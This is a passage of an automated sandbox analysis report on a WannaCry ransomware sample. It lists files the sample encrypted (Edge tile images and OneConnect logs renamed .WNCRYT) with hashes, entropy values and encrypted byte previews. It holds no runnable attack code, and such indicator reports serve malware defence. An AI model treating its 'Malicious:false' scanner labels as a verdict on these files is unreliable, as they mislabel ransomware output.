                                      SHA-512:107B9DF65AD932EFAB09D333C189A63A7FE68292F4B1CCC4F9CDE6825AA7CC77C055057805FDCAD4F8343274552389AAFA6E00B1E280316E807537D89C986A91
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....1.m..r.....cS3...........z....".!.:...M..U;1J.....!..,.j.........a./.l.I..U22.(V...>.....Q..h..O)Y,.F.^......H0.c.b..h..y........p...*..Br.#5..d..G.T....i4a....:e......N@.4...j.Y...I..S.H _..]...BRy.'.\.Yq..<;.....e-\./....Q~a...7...L..cH.........[........4ncs...5..,.bwp.&.O.c.A...v..?..*.QT.............. W.._.. x6.T..)e.>Rp.T.5..%W%.=..N..$..6.!E3Hrv....w...kOUq.F....ph*.]..q .Iu....X.6.c.....V.6....mP....%_N/M$C.K.......[........g..<..%.V;...8.Y.;Sg...;....z.3Z=J.....:.@.c.%..,....].\._D..]3..e'i._.......Mf....<N.u.#5.....`+..].V.G!.u...\....}w.\.\...J.....f......-....41......:[.z.K.b......_.(?..u]..Z.f..x.x..s....N..o.,.<..|..1....'AKZ?.Mi...>2.%..8h...<...9;y(...b......n.3sV.1...........zi......3.$[-.qw.....@m...RIJVS..f\.....W.7*}~.==v...C..G..C..|,Z.~.h>q[$.".9........K%a.;..-.`..{W.cZv..-.......~...JX,.w......ck`.[.K..<.]g....Nb9?v..\w....S...Y...5ez..$....B..9[.QEW7RL.S.'.8..H.=...q....&.VAo......R......P...x!..+,(...?d..F

                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\squaretile.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):2696
                                      Entropy (8bit):7.920241007744307
                                      Encrypted:false
                                      SSDEEP:48:bkU7/Cx2YJ/MBBYiyhBgq4i4ioT3r7KIJMun8FW+ol6Ck/A6Avr+cABAsySsV3MF:oWuNIyhBg/qobrhMDFyPDrg6Y4c1JX
                                      MD5:8FC7EC2EDF1F6DF016D1DF83AB999E2C
                                      SHA1:6D96712AA6DD4B81716362BD10BCFF1B3FDDB755
                                      SHA-256:DB36DD565639B9570B46CC08589C9517A66E093C5510A95C5B068002924BACC3
                                      SHA-512:4EBCE10103820F0F31D072A9AE902552FE2249495413FECC7D96D75F012C583936E255DD4B7D1E26538312DBCADE6CDBF39BE39BA968EC5C8E7FFEAFB4DA1D3B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......k..QGn.$'r`@^..I..4d.i.....Y.!...~..d....).Q.J..n..z..Z:..H.....Y.....UH..Y.zN...9K!P.Y...".b|.H.9.\.i.0....m.@LF....Z..k.Q&O.......E......w9..1}.V).......B..I..;.f(.q..(. ..EW....\..=S.h...GF..1(.r.|.........Gg...=..}..K_..r.....c.m3...i...w..0.h....a........q.6.lfc.<;Se..-.1~..Z.Jbq{eN.R...e.....7K.xB..B5!.).^..5Tjep..:...../.)w..)u.{.~...J....M.....f..v.]....ki.^.h..`.....`i....................../p.....(...J......7....[....T..*....[1..}5..}.MNB.......(....%@`.{....%C..?TY..s.K...g}.+..2<~...A....].z..p.*.D...iL.t.}&.....<.$WU@u.....n...g...:.eL,VYD......:%..9W.......d.@-.o..r....[$G.&..8.t(L.?....9.'C..e.c+.x}.:ux...F.@r....,...wP.... #.W.9.j........`uD..<.......VI...Z.e.m^...So.. ,,'...q}...A.=...38,........@....0</`../.::.I.q.P.y....q...Y7.Y.!H.....r.t..3.B@...+..b..[...F..o.....;..JT.37.kDF74q..i......Y..v9.F......a....d.)....aM..2.0H.z..b..#.^..-Jmv_.^..g2.;...%.=ST..6.T........#.....RFA.T....G6.%."..mS..=..b#K.!....F).CN.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\tinytile.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1864
                                      Entropy (8bit):7.893762028936702
                                      Encrypted:false
                                      SSDEEP:48:bkDFS9DVEe8xGbifePX43cezW575wTc9gvpiZXBKocn:oIvEe8xG4YzR575whvEdE3
                                      MD5:3D8FA34C8647BDC9AC6B5FDA937967D3
                                      SHA1:CF8DB0B3C3DEBA3CF4D963F25D6B4566CC534E00
                                      SHA-256:58055142B95DCF81A1B5BE84138E6BEA84F854D47ACF1675506DA919849714B6
                                      SHA-512:E84483604F85D9A9B61D1CCC659DFC4E143B2D513732267DD6A63EDEC92C33565C37310C5C2B2599D65175E3C854CD8CBB172C7C1E81292F75814E55FD5EB6D2
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....?Gk2...R1v i..3..B2..E&....$U.M._.J..H..-.;..e1J|.)h....... .I|;..#N.q.-1..d._,E=,.SLO..K..Rt]............).....`3.."C..^...%......).ST...`....="`.3..n.(.X..#..@...'...3....ul....9...T.b..`.....?...O../...Bf......1....HV....y.;u.....e...U...:7....).............yZ.Jt...*.+..9P..e..T.6......+q];\5........bk.............T.@V5nQ..eu..v....y(5'@.f..(..) ..c.Ow...=).-.>ND.O..=.&.P...U...@...+G.p.|..U&.|.}.T2.......8.)O.1 .O....o..L.B.E......1}..H!a......!N[...o.Jz......]g8.[.......o IE.ga...n..\..}..d....T.!1..E...pZ.S......i[...w.w......`zC$..p.....y...K...+.......[.%`.5[..Zh.X+...c%q.6.tF......,?. .e..ud#o.]0..4F.5.z...8.. .|I>..`=?......D6.............M7I.G.J........k..8.%}..cTV/!.,.}"..cBG.....@C.y.E..f......Xx.S.~y....[....JC.\.63.$.-...zS.....|.i.....d.3..#.......K>;..Pm0.fR.!.<..;...3..X..B...@..r^..).h8.![......1..p>."..B>u..o.|...k...!.n....Q....+.I&.}./66<L<.......7Y...Z@P$.<aM....p..\..;< .<. h.0..4!..!.k...U.0...t...O{9....

                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\squaretile.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1848
                                      Entropy (8bit):7.889389593252936
                                      Encrypted:false
                                      SSDEEP:48:bkEdc40UloZL8Gd56cKXDBPF112K6s/BQvtQxT9nDrcp8:oEdn0ioG/JVd11jBMi9L
                                      MD5:6DB4DFDC174B7D8B7174EE5D634ED1EF
                                      SHA1:BC0A3120CFD31B04010C42A895311A81126A86C8
                                      SHA-256:B071B04EE2B028C83F5C852034A70AF8E41C8F0ECAB16CFE0C1BCA6A0792C557
                                      SHA-512:2C8601E744AD7053C6D331CE3AAB0B01CEBE7BCA1FE6EF94AC9D35FA0DD696209D81F02D6AA698884B4A9DCEE3732A9A4C1C9E5E74F71D42C384C5CD6251040C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........J..I..S.G}........(T..S..n......".&.d...|9..+t.\C(..@.5E.&Wx.gk.ipA.r..h%.;.m...+.........h...}.M...A.....l......?W*];.q.!..W.F.tV.<.....1.......7Y.ph..2.PH...a..l!.l..#... {9.L...."....f....q..3&..x......>......@.Z...i;F.F.;...va.+*.,4...............[>.H...{..~w.:#.@S....*.._Z.B|... ...Z..VsP...k+.O.K^....xT...$..T.-aE.6._..75...m.x.@.5@.Z...f.pa.C>..s..t.P...$.Fi.I..........^.v.{..!c......d...l}... ..O....3.....Q.E.c....f/.Cb*U.....f`!3...;...xO..!.[{.g......n....8<.t..`.^......../X2.x:.amAe..5s.RV.5.[L/.|a..|.m....t}.8<(.~.h...HX.@.-.i..`.8.1...%.`...N......_c.>Qe.....[..m~..X...*..yS(...W.E}..Omx.....O/.Y%J!!.[.U...P.<..~?.`.e...I2.l.x.~.qA.......v.&i.dm.>.....5..E:..J......%.~~..J.Y>T..l.`.`...... .X}...O..U.9.Edq..$u.(.2.:?. A...T.P.......o.R........p...&W.........$..KF.W.$CM..gd.`..m.F.~/K.p...,..?]#....f67....d...............xl.+Q..[#,....5.=f.n..d?00..<T.c.........-.#..q.&K..I..]...m....aL8p.f.|6. ....t.../.4

                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\tinytile.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1400
                                      Entropy (8bit):7.838817656507395
                                      Encrypted:false
                                      SSDEEP:24:bkIthgWs8CVT6EHEIMG3uTMbUisX6J83zWjfMzUXP15EpDynxbg1Xhg++IjeMBV9:bkGhds8ee6E54oMbUisXw26bMzU/1+wQ
                                      MD5:6318D05D6BE5E474D3FA0A89D2D194B4
                                      SHA1:29A436E0F5630088A5A9A50691267C0F38E66372
                                      SHA-256:CAC29BB47F915B97C28DA6F4EDADEB249A66899436BE028DE573C1543639532E
                                      SHA-512:278F8B9258F10DB6D9887C21BF8374D56CF5AF83416A5C3F47A563F5EC3160B56F5F0A913725D806878951ED14AE9FBDF70ABBB6433731F6294C8E45128BB57D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........L...tr+8.....+n.%P......4.nc........W.}...o/....Nw8X..._...............PQk.R.`,.%]............x%>...}m.....>.gl.C.g..L...w.<...Y.E8.t.r...0;U%....h7...h7$.#...7-.u.d.V+...*..F...>..&....|.....t.@B..B..<%..h).U......h=+<dm..QTE..l`O.\........Y........*.B.QH-......j.e...O{=....O.Ec.FA.!.c.-..9...qxC..}.<..A.C...m....b|..P,....$u ...Cr...}.|.o80....;-j.Yb....-.....+F..'.r..sy.B..";'.-#..69...{Y...Q.O2I.?w,a..`Z....w....t..\...D..}n..u..+.s,...s4O&.M$h......Y.%..FV6.g...apx.<Y,>...oe.V..W.&..$...0.i....~...X...g..P.$.:&.7E...}%.u.l.._.y.....N..<..P(.A$....^.&3..91..f....z......B....A.uOTe.k...K..y.K....`.V..e.....`....Z...f!...Ju....>....~.yS.!.IZd>..v.5.D5@....N..b.v.4u.d...?W.._...A.;7Wb...cye.w.....Q.}.6..HC.5rt......X...N|..Y.4.C.m....-.o.;<\..../Y[..._.Q...v."_ ICA.Xw#...2i.)...v.3.:!k.-....g..P..kc.b'........../..cd.A.P..}...p...y..3...0f..iK..qX.....a...~.r..<....F.. E..M.*1S....).`..<|..+..Bl.#..>..S6...>.>....tU.20.I.@..q.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\squaretile.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1736
                                      Entropy (8bit):7.8746320989469005
                                      Encrypted:false
                                      SSDEEP:24:bkQc3ARNwjVnqqyOyGVpA6dUDIS9JEVmMpcpkqJDVDAnmuDb1n0127rF72T0KPZ7:bkB384VtnJi7mxpGVDz+1n01QB2IYjLh
                                      MD5:A822577E90C77E915D06697A8D5DB6DD
                                      SHA1:7EA5BB6910158DA5B8E35D02EB0B564B10E63BA1
                                      SHA-256:134FD14047E90DC294CD0334DDA99247606141DFFE178F36042D5B62F26285FC
                                      SHA-512:74068EF793561DAE22D0DAC2B902246396D1D8CC6EF7F692381800139323F4D681C6448AAAF3259AE73BE14B3B3CC1ED856C68D13C481FB337640D7D4C2E4D77
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....q.b....|.h.#..282h6%..R.....89..6..g.t...#P....~.X3!.4...+4......pr...8JC.....s...$.{...1.d'.....U......J...xfJ.h..q.-.....'.d-f..x..5N...)ac.!.)..G.B..M.9Z....Q......-......?3.O...?t...2.N~.E87.Y.JQsu.tW.I<.-..u.../.....c..=<+dW(K.5......._3dr...............;...X.....f....3.Z.....=]...$V......[....}....2..z..ic....f./,...i./.........a...CDT.....o.".-L.;..\).....M.....g.9d.(......R.L.....3..Q...T.F... .6g.HP.3.<....%).[.9...n..A....g...yK!56..)5<k....*.c}.'.....#.;..x.y...!.t.E..r...w......N..rc~...........%.....KE....M...Wxu`...P"gI....5*..Qj"8.....>..c.e...7d..IU.y.........l.y4/...x....QX2B.J..._.4.|......./*..A6."m...o.....;=;.9..R..^;i..v'j....]..q.Z...<ZC.....q..1 .t.s^.Y9...L...ga*.W.-7V....F..9V..r4..k..C.s.x....R....I.ip....E4...<0..2..#...k..b..F.W.....4Y.Z..L.......Yd.L@.!D..M...s...E......u.u.....X.*.qBvp..d...~N.:...z..c..........(.I...l..A..s=...g(....O.I|......ZJO.,G.....RM(Y....@...D.!..5(.s.B`..b.V3....i.H..<..#pdz

                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\tinytile.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1352
                                      Entropy (8bit):7.839936472926703
                                      Encrypted:false
                                      SSDEEP:24:bklGgpBh7cYhZg0lqvFkb7cFHXW5MXlDxAZuY4ZZu3VKFwEM8z1hUcAa4Hn/hcl2:bk1rfC0a0gtRLDZZtFw2vUT1HnZcOAod
                                      MD5:EFC7391C3130B7D7FF4AB357B17228BF
                                      SHA1:2D254DBE0EE9422B105FAB0E0E6C8CF01218132B
                                      SHA-256:4909D35A85967326233F41F08B940DD165097AEF6EC25FF2C3B2E358E4B96B23
                                      SHA-512:8ABE8016E98D426781EA341C609F96696AA803574DA2679BC1B7B70906DE935D99AB18BFD6DF08FA5279CF8BB820AA572BE88CEEAB25E571985A35FDC4111798
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....;.....G....;-.}.>.H.b..:.....hXS..I.Zt..h%.Tp....H..4s.0......5}R.>...n.m.. ..p.p.@......\Y..7...E.wM...l..;.l..9.a.@..U;i...vl.]u..WLo^..v"u...eE.......".3+..F..w..d0qt?.z..li..`....`....)....q....T.pi.,z.<.|E@. .Wq....%.):|t..S....e..B.....$.......D..N.....\BW...oI....g..Kz..K.4..J...<'.N#B.Y.T.....>.!.G.~..d&.....P@.0..g.. m"/..d4.Q^I...p..n...U._...........3?@.7....7.O.....0#.|W..B.N..[.h.;*.b....(r..Q.5p.nI`.....e.Q8Ws.fN..Y\_p......hC....S. ..r.<7... s..#..o`.O..b..D].Y.<].a....is..b...A.....I.h.M..M.f.D=..|m..f.Q...^.....qz.Hy=....)...%..<..[..~M(b.;.$....5X.=f......p.n..V...oq].j[J4_R.*.X....1l...,.!..9.x..O...C.In.....WS.O...2......m.l.rwpk...Q......;..o.d.......C.l.....L.....L.UHqo.:......V..oO.4..Y..p.........]..,.;..g.l.Z..=_.........<d..K..v9....i3..(i.....'-jK..(...0...:$Wo... .....t.C...i^*c..l..s0R&q..+h{1^.. ..kn.3%P.._..@.^.~..ncN...G.SvnX.........@.S.x|..h.....q.ot.O.B.M..._5Ih.lL.s`. 5...0....../.....5..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask01_20_08_51_44_0048.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):872
                                      Entropy (8bit):7.759816954855881
                                      Encrypted:false
                                      SSDEEP:24:bk1b92dCBrP5lmtQXXKQoBeXDf8BFlBljCn:bkpgC5aiXeBeX4BFDw
                                      MD5:10EBAEA753BD895CC6CF2F17850B2617
                                      SHA1:21871A75DF8FB10AAA2E2284B30DA710EF87C222
                                      SHA-256:DC6107575713DAAF188037131D26CE204ED559593BCEFA5D9712C962619094D3
                                      SHA-512:AC7D6EE8A09CBF7F9E5851B0F2D07E7CC84319D2E9DE6920FA857DA59C82E5C8F3B3F1A89A57E09F53C3AE6D82A340DE4EACA2F289F2B9B2FF9A64023B62A77D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......9...7...H.....R..V...A@..0Jv.P...'[.[....x......w..K.[.$..'....j..........(\....k*5?"S...-.ra.L..A..E.u'....F......r9..=)......v....j.Bw.%>j.AkJ.q.D...Y"..V........Ok4f.+ws5.]......e.|}.;.<.z...|r5...:L%...M|...h.~....v...S.......$4_H.l.p.v....C........GM."..s..v.G.../c.....IF..^r...G+......v..$..2.U.(E..a...3zh -j...........Nz'8.....Zx..a.<m.W........O..JCQF..!...#..E.<zXM......0..........]....%< ..tV..mn..`.......... ........n}..a.7]R.NlCv....?[.....nf8..:.....B..Q?.V..>.R.+...1...Fh.<...T.'a.tr.X..Y.?V.7T{.+/JK... ..:......%z[DbHq...O...|.f.."..u.x.R.=H.....,'..x..B.p.....X9......"T...X..p..@.9.Z...A."..o..2.U.GR'..F.9.`3r.Ks0....u?..W.;.R.!I.g...\..Ei}Z..?....X..T.O..}....uE|..`..s.`_.@v.@T...M...^...?..P..[X.......a9i...uO.....FR.s.k..M..Z..._z8..U.'......Qd.......{h7..!.../2&lr.,...0#]....F...[....2..].O

                                      C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask02_23_14_01_00_1738.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):872
                                      Entropy (8bit):7.760046636764286
                                      Encrypted:false
                                      SSDEEP:24:bk04yAn1WnrRD85SFdK2QkbKcb9acnYz58tow2YUs2/GZxF:bk5WnFgydnQkbKo9acnYziz2xPa
                                      MD5:2158F418D552AD8B4D0B7AFF349B2982
                                      SHA1:610B6B81D02CA4AFB2844A680FA0E22FAE7D1848
                                      SHA-256:59046881EF59639BACCA4A69C922ECE2B77318270C66876B4AC383750A9B4903
                                      SHA-512:8BF9E0BED21A65513B644604C3B70B1216325D65C00468D4EAF5997914E76652EE5B0BA575E58324D4B13D8FD0DA182689477F16266286979D7D053A5C556EB7
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!............h..A........o....J...V.x/.e..)&T.T.,...<@..a...B.O.!7=.v.H.....V.[...D..h..6+}..i..3.kz.jq-...@v.N...Y...;...V.x."|j....3.#.~.h.T.....F.~B^p....~m..89KT.e.0...w|M$.....N.Q`V.1....nH.....J2X$&;.yp..5;0.q.....U.t...I1....bWr.c...1T.c.p.8.fz:....C........P."i.,c...Q..U.O,.BF......^..#Z.S./..5.|l...e.}..=Bx.A.A.......A...^..^.e .(q.;....q......l........].G.H...@..N...._....@.~.....(..n..).6...U.y..'.]....&+g.;.;..G.x".F....>)p#5.."g...l.J..d..-..j..o.H.4.+9.......y..3.oH.. &e.-..1SJ%.PW.....~wR..........Kj...l..@S.w.&..T1.5.. .e...r......AI.G..J..C.;z].z..y..+...l.Z<.9`74.Uu...|..w....oc..sjr...{..nA^e.fdX.......k......MW..h5u..NG(&.M...(.j......[..ezf..].K..E$.]`q...y[.>...`T..M.z.3.i..q.}d.... /....%.J+.#........V.,...3*.<.._r..T..{.7..........q..z.`9..A.Z....>..7.N..Y.u....M.!..%.......Q....0;.....

                                      C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask05_25_14_44_39_3196.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):872
                                      Entropy (8bit):7.765369115984237
                                      Encrypted:false
                                      SSDEEP:24:bkYfvKYz8EHiPEXYCmHjW9bHKufUCo3yAYXpI0ehGCOKyOzH:bkcSjEEEICkjCqYUd3ie0eqG
                                      MD5:669848D1A0745CF54C4F43B23D8C07CB
                                      SHA1:81A7A0D1E8A5D287E775EF76D1836A9AAF83C0E4
                                      SHA-256:3BEF5FACDBCC82E52C5DC1F409325C5AABF67DC13D6693016B9860D2EE6EE36A
                                      SHA-512:3991D8B6E774E778D6F9DD96D9C8BE22ECABDDA5DF56E35A8B9749BA92E388D0604FFED00911474FE8D3997B05AC81924A32D8FD26E98A300C526D65677C627B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....en.N._._..=.*3._j......J+.F.O.Z|...x..e.).T....$...0&.bT..]..[.....6Z@3Y).7G.].....y0.51..........."..A}..Y.O.j...S.'?..HL=.#D/O.0. .t.L$.[..#z....R..S.\...{.4.M..5..*..pW..M......Kuq..*\.2A.j...u..vX...>.....O..Z]).OZ...Y. v.....~C....Kup..Q........C.........9...P...o_.p.I..X.Q,..D....`..3........s.C.......T..[W<y#x..W.VU...@l.u....Cx..f.....Q...;..3...k#..e_....Tk.P.5=%`..<.l..`.9)<o>3..{q.......S...I.._RN...v9.....4..x.... ....]...(.# ..g4.3.Bm..d...n.,....-.....]E.M.efW..xY3.Y..F%..UHC%3...{$6tZ.o.3H.....U.......5..)@SK.5..&........mS.M'..:>..U....|/=Kj^...Sy...B6....]-..g..Xr..w..h..SgD..J.....(.^.-.2OTV.K.Z4)-V...qf.A{V..T..u)..q.:...2.l&}Z........zE.g......~..{..+.....*....U}.-..%}../..?."g!j~..qEC.OI~.z.eJ.(.{k..+C.i8.\.f.t.Q..g.......o.9|q.. Qn\Al32...k@<...a....O...8..R.J#2.)..;l.}..>..fr.rd.u..A.-.$.....

                                      C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask05_30_09_46_46_6814.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):872
                                      Entropy (8bit):7.7569325801971925
                                      Encrypted:false
                                      SSDEEP:24:bkRmSyYyX7ODW/lQkwhRHiSW9DD8R4izrGxELBcbM4L7JAjTkIu7S:bkotsLtdW9DDyrXL2e
                                      MD5:260EC8F6DF62597EEDFA19838DBDC0BA
                                      SHA1:557A6C7ECE6E9873DA96C8BEDDD7C063618C0228
                                      SHA-256:FBE0948C584AE17DF13596795C2E3493610457E67F1878775692CD56D19A803D
                                      SHA-512:91EA99AAEE1A8FED0299FAA0EDA955E761B5AA2DCFEFECE9D0EE1C67051BCAB0501A7AA891A18351AA07CDF34C6D6D89CE2CB1405C371B7C8F89C35B1B48955D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....W.+..-..G..........o.2p......&P"..........VT~.....+Y..Z..(.....W5u.%X..........W....3@.....XY..`v......xM..z.}Q..[...{;m.W...T.d..kf+.oy/..j..)..#R..<D..,is.q7.BQ#..<O..R.`..{.$.n.|.{...).s..-.....p..F...c..n5!8...^...a~.. t.4.@..dU.d..h..r.....C........G...9...g.Ju...E.. ..F-.|'...4U....>GA.MTL_....j...S.P(Z....^..r......u.w....tJ...w.^....X.P............{..).*1K..?.K.....OK".n.1...k.67ic5.w.+....Y...{.:.Z...D...>....T....m.p....#+^#.b....o9..+.u.q|Y:.n..5. .............o.x...4..;..~(..F9.s...v...U..%P.W.#..2....u\..M.v..x.!X..J.*!.._..r%.^+..m.9...1........|....a..U..4.a^..m.......G.(r...4.x.W.....p..........j.^.......<#.H.&{H.#@...J_.h....Iyj..Q"GM.~...r~L.m.....:_.y.....o\........EG........T4...<...B.D...\,$.ln~..X)c.`...z.;$0.#3~....$f...-p>..zN..@E...0.)M.>.'td.{....4.....Bp.v...q..%r.%]wx.x.....k....

                                      C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask06_19_17_19_46_1049.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):872
                                      Entropy (8bit):7.782142923109933
                                      Encrypted:false
                                      SSDEEP:24:bk3CJ1nOleA6rUaHPNj6RB2+NdOos3d6HS2T6pbdSBDtALCW+:bkmpOlKgaHPN1UVyPS1tALC5
                                      MD5:8A4534BB61F62511138D66B4E555D8AB
                                      SHA1:2786978EE9C9FDC5F102993AC165F6BF2A7F952B
                                      SHA-256:2FE4848B637AD42BFBDC9203DC8ECB7A020832EF4509B14DBF328A5712278F10
                                      SHA-512:4939BE94FDE61443BFFF3F8D2AE795E194AE1E97ECFA3B62916EE0F80C844DB1807FA6B5437604EAA237217A8C9661B0870268F8E5EA8A93FFF9D2FADEBCD046
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......W........q...>i....H{ .....xK..t.......I..d.(......Y...P8.#.&.r...B3.......h....-../.V..WIp..^.'.0...N|.._cK/.A....4.5.|.UD..#...5.+.}.M.(._.....0..p..s..6.[w.W....U....Q..gL....)....%.. .-(....9....0.%<...%......X*S..........g..|#.j..*...%..x)_....C.......}5.....N+.K^.*.......j.r.[...<.l....|,v..[.....P.....;.....>39.........}...$>.3..^......U........E...wR...........v.q...X...L..o..1S.a.#j.5..fF|...X8........p.).>.4".&oJ..i..~!T..gx12..W.3.W.AL<...WS...r........;.l.r]....}....O9..Z.......+..7 ..\.....ahf.c.>.7O..h......4qDVy..8}.+../.....u...ltF.'OY0..w.....f.....P..E.!.3.P....m....s....M.*.].Z.$..E..;Wk.....e.%k.%6..^.H.4.Ir..cz.R..($Qn.7.w.Cl...!..D.8..(..a..{..\0.F.)....].hmq.7.....<...s.....^.W|....C"`..I..6.Q.[d.........:.....0#......G.1.f..).{....%......SK..Al..`QU.3=..d6.H....D.X.y.3~v.......

                                      C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask07_25_18_20_06_4045.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):872
                                      Entropy (8bit):7.7360398194932
                                      Encrypted:false
                                      SSDEEP:12:bkEzofvUshTIN8HCcslXuaP7lHfRjSAwHm/F0+8D0MngTFEynXyTySZe3x6/D/Kf:bkw4JFswqslyF0+9EyCT63xcKPy49jJ
                                      MD5:C5282DF249DB51421CBDB15074E32E5C
                                      SHA1:0186AAF2BAF18DBF33FA3BE8D8B6F7EA7CEA42FF
                                      SHA-256:037E908AEEF1825484D75E447ED2EE2268CC53EACE10FB6F9858C69FCAC91AB0
                                      SHA-512:E2D85BD48292D267CB7E9FFCA1E395D2A3660D6BF066B02D0D687CA23DA1F26CBDDCCB1BB2A8F720EF63B3A9C85FAE857561F8803A47B671E0E11B1F659BAF61
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......a.44.+.......=V.L....4*I&`..b.P..\...S7l.6.C..d/N...b.'.}.f".........F...1....N.c.V..Q4.:.#...H..6m.>..jNjR..p..nz.@....o/;..N.YP.B...[......K...O.j....'.`..2.e~..&W.:..[`%Y._8../......n.c..V....{......^..qq...-h..p....}...m................C.........1.....A.{.$R...W..E.....BE......&.........c...e.E1..56=^T...J1.....o.R.r......4P...7.:....l.5..z.*..>....\......~..._.b..B..,.3..][.......m.....$O._.F..E.E..d.......s.6b.ye7.u..'.BVr.iMf.{F.y......../.B..,......K...q........v.`.y...h>8.0....^e*Q}.;....|u....4......./..\...q.s.....!).#.....O..i.1V{..O(..C^..j..=-.. Zp.-.qDk........tw.J]...>..6.|.G...._.R..2"+.ii....*8P.\K]f........D..3_.......r?.......$..7o.V....3.[C.....R...{.......2....6@..~..c.n..L..2.5....2.....g.....u..H..~..!....<.....6..9a/=k.L....Ky..F.E..._....L...1..GW...?J{.fA./......

                                      C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask08_05_19_44_36_6781.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):872
                                      Entropy (8bit):7.7477080832151985
                                      Encrypted:false
                                      SSDEEP:24:bkXrtBPBySxi6pAn1G8v+6zRNlfL5KKOvQ4Z3t1:bkXrteGAn1GovtKJYud1
                                      MD5:7D5ABEF956DC540E0DB6B33D1901442A
                                      SHA1:D7B08975D102668BE6224E83622ED9389F77C88E
                                      SHA-256:3903C50A3A26C1978B37C5EA9F4B4017FFAC02FAC6817EE39C0D09A0DBF8A4B0
                                      SHA-512:5B73E6B05969EE9429C235FEE154240946F50003307AB55B17811A73E8FD4F72998A6499FF27C56924FE94F60FA018414CC3A20D6A290A9DDE026196A5729C66
                                      Malicious:false
                                      Reputation:unknown
